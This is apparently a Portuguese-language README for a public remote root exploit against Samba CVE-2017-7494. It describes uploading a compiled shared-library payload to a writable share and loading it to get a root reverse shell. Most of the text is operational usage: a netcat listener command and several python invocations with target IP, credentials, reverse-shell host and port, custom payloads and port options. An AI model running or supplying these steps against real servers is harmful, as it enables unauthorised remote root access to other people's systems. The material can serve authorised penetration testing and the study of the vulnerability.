
Exploit remoto de root para SAMBA CVE-2017-7494 que compila um payload de biblioteca compartilhada, o envia para um compartilhamento com permissão de escrita e aciona o carregamento para gerar um shell reverso como root.
Exploit remoto de root para a vulnerabilidade SAMBA CVE-2017-7494.
Este exploit está dividido em 2 partes:
Desde que o alvo seja vulnerável e o payload seja correto para o sistema operacional e arquitetura do alvo, o exploit é 100% confiável.
Na sua máquina, execute o seguinte comando:
$ nc -p 31337 -l
Então, execute o exploit contra seu alvo e aguarde até que ele se conecte de volta ao seu Netcat:
$ python cve_2017_7494.py -t target_ip
Se você fechar o reverse shell muito rápido, em vez de executar novamente o exploit enviando o módulo, etc... você pode simplesmente passar o caminho para o módulo que já foi enviado. Supondo que foi enviado para /shared/directory/ como "module.so", você executaria um comando como o seguinte:
$ python cve_2017_7494.py -t target_ip -m /shared/directory/module.so
Agora você pode executar o exploit contra samba 3.5.0 e 3.6.0, você só precisa adicionar o argumento -o 1
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -o 1
Agora você pode usar seu próprio .so personalizado
python cve_2017_7494.py -t target_ip -u test -P 123456 -o 1 --custom myso.so
Caso você precise executar este script a partir de uma máquina x86, a compilação dos binários do implant criará dois arquivos x86. Usando a flag -n 1 você pode desabilitar a compilação e copiar libimplantx64.so de outra máquina.
python cve_2017_7494.py -t target_ip -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
Caso o samba esteja rodando apenas na porta 139. Você pode definir a porta do servidor remoto usando o argumento -p
python cve_2017_7494.py -t target_ip -p 139 -u test -P 123456 --rhost shell_ip --rport shell_port -n 1
Não dou mais suporte a isso.
-- Joxean Koret